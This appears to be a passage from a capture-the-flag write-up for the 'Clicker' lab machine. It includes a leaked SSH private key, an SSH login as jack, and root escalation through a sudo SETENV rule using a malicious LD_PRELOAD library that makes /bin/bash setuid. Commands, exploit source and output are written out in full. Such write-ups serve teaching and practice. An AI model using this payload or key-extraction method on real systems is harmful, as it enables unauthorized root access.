EAAAGBALOHkGlh3uOYhkongx262gGIEHTMJTBj7edCpjFAL1oAFds5T/P9WCf7Us4KEfRZ
KPCNVKS5xwi89hM7G/zKywnvJxuU5Wya60OB3Kp0uEyjew2e11tG7qd2sstZAAGfVKLenq
f3pDPBPu/9/VWeX3tRcGY+IkSiPoPwVUBXJbICtNgefeBpDs99z/2c7Xto1U4Jst/obTxO
TMt9YtpV4el1n3qYgToxvpkA4NjskgKYWztUmzIrKMD9WknsSjIeyK+iJT7p7sN5f5bsr0
RgzfH8rpk3iF1QHT3zqjKkzlRAqO4QKGPrmFin4h8Tl+H6Pv3zcHXH3LQVJqa+TccdBgh9
cC5x7G8fv6AZD88bs3fgXBjWaexT/HJ/nRBc9rcvC7NDK/l1uaH4rxMK9/nt9DoLaS+kIT
tni4mVayFzh4j81uPXpr+MYbqDxdxP+QgOmpHkG2xgKaU4vhARvS4a9OHPRNrgkiz4mah4
lYgK3FG218VjF9jT0icw7EOMXmKhbQAAAAMBAAEAAAGACLYPP83L7uc7vOVl609hvKlJgy
FUvKBcrtgBEGq44XkXlmeVhZVJbcc4IV9Dt8OLxQBWlxecnMPufMhld0Kvz2+XSjNTXo21
1LS8bFj1iGJ2WhbXBErQ0bdkvZE3+twsUyrSL/xIL2q1DxgX7sucfnNZLNze9M2akvRabq
DL53NSKxpvqS/v1AmaygePTmmrz/mQgGTayA5Uk5sl7Mo2CAn5Dw3PV2+KfAoa3uu7ufyC
kMJuNWT6uUKR2vxoLT5pEZKlg8Qmw2HHZxa6wUlpTSRMgO+R+xEQsemUFy0vCh4TyezD3i
SlyE8yMm8gdIgYJB+FP5m4eUyGTjTE4+lhXOKgEGPcw9+MK7Li05Kbgsv/ZwuLiI8UNAhc
9vgmEfs/hoiZPX6fpG+u4L82oKJuIbxF/I2Q2YBNIP9O9qVLdxUniEUCNl3BOAk/8H6usN
9pLG5kIalMYSl6lMnfethUiUrTZzATPYT1xZzQCdJ+qagLrl7O33aez3B/OAUrYmsBAAAA
wQDB7xyKB85+On0U9Qk1jS85dNaEeSBGb7Yp4e/oQGiHquN/xBgaZzYTEO7WQtrfmZMM4s
SXT5qO0J8TBwjmkuzit3/BjrdOAs8n2Lq8J0sPcltsMnoJuZ3Svqclqi8WuttSgKPyhC4s
FQsp6ggRGCP64C8N854//KuxhTh5UXHmD7+teKGdbi9MjfDygwk+gQ33YIr2KczVgdltwW
EhA8zfl5uimjsT31lks3jwk/I8CupZGrVvXmyEzBYZBegl3W4AAADBAO19sPL8ZYYo1n2j
rghoSkgwA8kZJRy6BIyRFRUODsYBlK0ItFnriPgWSE2b3iHo7cuujCDju0yIIfF2QG87Hh
zXj1wghocEMzZ3ELIlkIDY8BtrewjC3CFyeIY3XKCY5AgzE2ygRGvEL+YFLezLqhJseV8j
3kOhQ3D6boridyK3T66YGzJsdpEvWTpbvve3FM5pIWmA5LUXyihP2F7fs2E5aDBUuLJeyi
F0YCoftLetCA/kiVtqlT0trgO8Yh+78QAAAMEAwYV0GjQs3AYNLMGccWlVFoLLPKGItynr
Xxa/j3qOBZ+HiMsXtZdpdrV26N43CmiHRue4SWG1m/Vh3zezxNymsQrp6sv96vsFjM7gAI
JJK+Ds3zu2NNNmQ82gPwc/wNM3TatS/Oe4loqHg3nDn5CEbPtgc8wkxheKARAz0SbztcJC
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---
--------------

ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1
www-data@clicker:/opt/manage$
Finally, we have successfully read Jack's id_rsa. I will copy it into a file on my local machine and assign it 600 privileges. Please note that the output requires correction; the id_rsa is not well-formatted. We need to add some - characters in the key limits:

-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----
Before using it as an authentication method, we need to assign it 600 privileges:

elswix@kali$ chmod 600 id_rsa_jack
elswix@kali$ ssh -i id_rsa jack@10.10.11.232
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan 23 01:58:52 PM UTC 2024

  System load:           0.0087890625
  Usage of /:            53.3% of 5.77GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             248
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.232
  IPv6 address for eth0: dead:beef::250:56ff:feb9:695a


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan 23 13:57:27 2024 from 10.10.16.5
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jack@clicker:~$
Finally, we have successfully gained access to the system as Jack.

We can read user.txt:

jack@clicker:~$ cat user.txt
7903e**********************b60b0
jack@clicker:~$
As Jack, we belong to interesting groups:

jack@clicker:~$ export TERM=xterm
jack@clicker:~$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
jack@clicker:~$
If we had Jack's password, we could run sudo su to gain access as root, leveraging membership in the sudo group.

As Jack, we have interesting sudo privileges:

jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh
jack@clicker:~$
We can execute the bash script /opt/monitor.sh as root. The interesting thing here is the SETENV privilege.

The SETENV privilege in the context of sudo allows a user to set or preserve environment variables when executing commands with elevated privileges. When a user has the SETENV privilege, they can control certain aspects of the command's execution environment, providing more flexibility and customization

Let's read the script:

jack@clicker:~$ cat /opt/monitor.sh 
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
jack@clicker:~$
As the PATH variable is being set during the execution, PATH hijacking won't be exploitable. Instead of modifying the PATH, since this script executes binaries with linked libraries, we could potentially set the LD_PRELOAD variable to a malicious shared library and escalate to root.

LD_PRELOAD is an environment variable in Unix-like operating systems that allows a user to specify a shared library to be loaded before other libraries when a program starts. So, in the event that we create a malicious library and set this variable, we could achieve execution as root, as the program will be executed with root privileges.

Hacktricks has an excellent example of how to exploit this.

This will be the library source code

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/usr/bin/chmod 4755 /bin/bash");
}
This code will assign Set-UID privileges to the /bin/bash binary. Subsequently, we can execute with root privileges using bash -p.

Now, let's compile the code:

elswix@kali$ gcc malicious.c -fPIC -shared -nostartfiles -o malicious.so
malicious.c: In function _init:
malicious.c:7:5: warning: implicit declaration of function setgid [-Wimplicit-function-declaration]
    7 |     setgid(0);
      |     ^~~~~~
malicious.c:8:5: warning: implicit declaration of function setuid [-Wimplicit-function-declaration]
    8 |     setuid(0);
      |     ^~~~~~
After uploading the malicious library to the victim machine, we will execute the script with sudo:

jack@clicker:~$ sudo LD_PRELOAD=./malicious.so /opt/monitor.sh 
<?xml version="1.0"?>
<data>
  <timestamp>1706021915</timestamp>
  <date>2024/01/23 02:58:35pm</date>
  <php-version>8.1.2-1ubuntu2.14</php-version>
  <test-connection-db>OK</test-connection-db>
  <memory-usage>392704</memory-usage>
  <environment>
    <APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
    <SYSTEMD_EXEC_PID>1174</SYSTEMD_EXEC_PID>
    <APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
    <JOURNAL_STREAM>8:26751</JOURNAL_STREAM>
    <PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
    <INVOCATION_ID>863bf7bd6c5e4002bcbad4f8a136e170</INVOCATION_ID>
    <APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
    <LANG>C</LANG>
    <APACHE_RUN_USER>www-data</APACHE_RUN_USER>
    <APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
    <APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
    <PWD>/</PWD>
  </environment>
</data>
Now, if we list the privileges of /bin/bash, it will show that it has Set-UID privileges:

jack@clicker:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
jack@clicker:~$
So now, by running bash -p, we can achieve execution as root:

jack@clicker:~$ bash -p
bash-5.1# whoami
root
bash-5.1#
Finally, we can read root.txt:

bash-5.1# cd /root
bash-5.1# cat root.txt
5e6e3**********************9c668
bash-5.1#